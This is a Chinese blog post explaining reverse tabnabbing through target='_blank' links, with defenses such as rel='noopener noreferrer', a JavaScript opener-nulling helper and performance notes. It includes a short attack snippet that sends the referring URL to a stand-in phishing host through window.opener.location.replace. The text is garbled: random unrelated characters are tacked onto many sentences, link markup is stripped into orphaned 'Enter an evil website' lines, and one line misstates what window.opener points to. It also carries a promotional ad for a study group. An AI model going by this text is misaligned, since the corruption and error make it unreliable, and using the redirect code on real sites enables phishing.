前言
在網(wǎng)頁中使用a鏈接時(shí),可能會(huì)添加一個(gè)簡單的 target="_blank" 屬性到 a 標(biāo)簽上來讓瀏覽器用一個(gè)新的標(biāo)簽頁來打開一個(gè) URL 地址顶瞳。但是這一屬性正在成為網(wǎng)絡(luò)釣魚者攻擊的機(jī)會(huì)玖姑。
parent 和 opener
在討論 opener 對象之前,我們先看看 <iframe> 里面的 parent 對象慨菱。
我們都知道 <iframe> 提供了一個(gè)用于父頁面與子頁面交互的對象焰络,它就是 window.parent。也就是我們可以通過 window.parent 對象去訪問父頁面的 window對象符喝。
而 opener 是跟 parent 一樣的對象闪彼,但是它只是用于通過 <a target="_blank"> 來打開的新標(biāo)簽頁。你可以通過 window.opener 直接的訪問到新標(biāo)簽頁面的 window 對象协饲。
同域和跨域
瀏覽器原本提供了完整的跨域保護(hù)機(jī)制畏腕。當(dāng)新舊頁面域名相同時(shí)缴川,事實(shí)上 parent 對象和 opener 對象都是父頁面的 window 對象。當(dāng)域名不同時(shí)描馅,parent 和 opener 是包裝過的 global 對象把夸。這個(gè) global 對象只提供了非常受限制的屬性,其中大部分的屬性是不允許訪問的 (當(dāng)你點(diǎn)出這些屬性時(shí)它會(huì)拋一個(gè) DOMException 的錯(cuò)誤)流昏。
在 <iframe> 中扎即,提供了一個(gè) sandbox 屬性來控制這些頁面的權(quán)限,所以即使是相同域名况凉,你也可以通過它來控制 <iframe> 的安全性谚鄙。
惡意攻擊
如果你的網(wǎng)站上有一個(gè)使用了 target="_blank" 的 a 標(biāo)簽鏈接,一旦用戶點(diǎn)擊了這個(gè)鏈接打開了新的標(biāo)簽頁刁绒,如果這個(gè)標(biāo)簽頁跳轉(zhuǎn)的網(wǎng)站內(nèi)存在的惡意代碼闷营,那么你原本頁面的網(wǎng)站可能會(huì)被轉(zhuǎn)到一個(gè)假的頁面。也就是說知市,當(dāng)用戶回到原本的頁面時(shí)傻盟,他看到的可能就是已經(jīng)被替換過的釣魚頁面了。
這里還是要推薦下小編的web前端學(xué)習(xí) 群 : 687958461嫂丙,不管你是小白還是大牛娘赴,小編我都?xì)g迎,不定期分享干貨跟啤,包括 小編自己整理的一份最新的web前端資料和0基礎(chǔ)入門教程诽表,歡迎初學(xué)和進(jìn) 階中的小伙伴。在不忙的時(shí)間我會(huì)給大家解惑隅肥。
步驟
1. 你的網(wǎng)站上有一個(gè) a 標(biāo)簽的鏈接 https://example.com:
Enter an "evil" website
一個(gè)用戶點(diǎn)擊了這個(gè)鏈接在一個(gè)新的標(biāo)簽頁打開這個(gè)新的網(wǎng)站竿奏。這個(gè)網(wǎng)站可以根據(jù)用戶跳轉(zhuǎn)新頁面的 HTTP 請求中的 header 里的 Referer 字段來確定這個(gè)用戶的來源。
而這個(gè)網(wǎng)站包含類似的 JavaScript code:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);
2. 現(xiàn)在腥放,這個(gè)用戶繼續(xù)瀏覽合格新打開的標(biāo)簽頁泛啸,當(dāng)這個(gè)開始的頁面已經(jīng)加載到 https://a.fake.site/?https%3A%2F%2Fexample.com%2F 之后。
3. 這個(gè)惡意的網(wǎng)站 https://a.fake.site 可以根據(jù)這個(gè) querystring 部分偽造一個(gè)跟原本的頁面一樣的頁面來欺騙用戶(其實(shí)你也可以在這期間制造另一個(gè)跳轉(zhuǎn)秃症,讓瀏覽器的地址欄看起來更令人困惑)
4. 當(dāng)用戶關(guān)掉這個(gè)新標(biāo)簽頁(https://an.evil.site)然后回到開始的頁面時(shí)…………Oh, no, 你再也回不到開始那個(gè)頁面了候址。
以上的攻擊方式,是在跨域的場景中种柑。因?yàn)楫?dāng)跳轉(zhuǎn)的頁面跨域時(shí)宗雇,opener 對象與 parent 是同一個(gè)。雖然莹规,都是受限制的并且只提供了很少的受限的可用屬性。并且這一些可用的屬性里泌神,大部分都不被允許訪問(否則使用時(shí)會(huì)直接報(bào)錯(cuò) DOMException)良漱。但是在跨域的場景中舞虱,opener 對象不像 parent 對象那么嚴(yán)格,opener 依然可以調(diào)用 location.replace 方法母市。
如果這是同域場景(例如矾兜,這個(gè)網(wǎng)站上的一個(gè)頁面已經(jīng)被嵌入了惡意代碼),那么這個(gè)情況會(huì)變得更加嚴(yán)重患久。
預(yù)防
在 <iframe> 中有一個(gè) sandbox 屬性椅寺,所以你可以使用以下的一些方法來預(yù)防鏈接:
1. Referrer Policy 和 noreferrer
在上述的攻擊步驟中,有用到 HTTP header 里的 Referer 屬性蒋失。事實(shí)上返帕,你可以在當(dāng)前頁面返回的 HTTP Response Headers 中添加 Referrer Policy 頭來確保原本網(wǎng)頁可以不受新標(biāo)簽頁的干擾。
你需要修改后端代碼(譯注:或者 nginx 配置)來實(shí)現(xiàn)添加 Referer Policy 頭篙挽。同時(shí)在前端荆萤,你也可以使用 <a> 標(biāo)簽本身支持的 rel 屬性,通過指明 rel="noreferrer" 來確保原網(wǎng)頁不受新標(biāo)簽頁的干擾铣卡。
Enter an "evil" website
然而链韭,需要注意的是及時(shí)你已經(jīng)限制了 referer 的傳遞,原網(wǎng)頁依舊無法阻止被惡意地重定向煮落。
2. noopener
處于安全的考慮敞峭,現(xiàn)代瀏覽器支持指定 rel="noopener" 在 <a> 標(biāo)簽上,從而在新打開的標(biāo)簽頁里蝉仇,opener 對象將不可用旋讹,其值直接被設(shè)置成了 null。
Enter an "evil" website
3. JavaScript
而 noopener 屬性看起來解決了所有的問題量淌,但是…… 你仍舊需要考慮瀏覽器兼容的情況骗村。
如你所見, 大部分瀏覽器都已經(jīng)兼容 rel="noopener" 屬性了。然而呀枢,為了保護(hù)略老一點(diǎn)版本的瀏覽器以及遠(yuǎn)古瀏覽器(譯注:比如 IE)胚股,只用 noopener 是不夠的淀歇。
所以你不得不參考以下的 JavaScript 代碼來處理:
"use strict";
function openUrl(url) {
var newTab = window.open();
newTab.opener = null;
newTab.location = url;
}
最佳忠告
首先双揪,你可以添加 rel="noopener" 到網(wǎng)站的 a 標(biāo)簽上(也推薦使用 rel="noreferrer"), 如果算上 target="_blank"英染,那么看起來大概是這樣:
rel="noopener noreferrer">
Enter an "evil" website
當(dāng)然耳鸯,當(dāng)你要跳轉(zhuǎn)到第三方網(wǎng)站的時(shí)候喂柒,就推薦添加 rel="nofollow" 來調(diào)整 SEO 權(quán)重志鞍。這看起來像:
rel="noopener noreferrer nofollow">
Enter an "evil" website
性能
最后恨搓,我們來討論一下性能問題蝗茁,如果網(wǎng)站使用 <a target="_blank”> 新打開的標(biāo)簽頁的性能就會(huì)影響當(dāng)前打開的頁面枷恕。在這一點(diǎn)看來党晋,如果在新開的頁面里有一個(gè)很臃腫的 JavaScript 腳本要執(zhí)行,那么原本的頁面也會(huì)受到影響,同時(shí)當(dāng)前頁面停滯的現(xiàn)象也可能出現(xiàn)(相當(dāng)于這兩個(gè)頁面是在同一個(gè)線程上)未玻。
如果 noopener 添加到了鏈接上灾而,那么這新舊兩個(gè)頁面就不能互相插手對方了,也就是說原來的頁面不會(huì)受到新頁面的影響(這兩個(gè)頁面就變成兩個(gè)線程了)扳剿。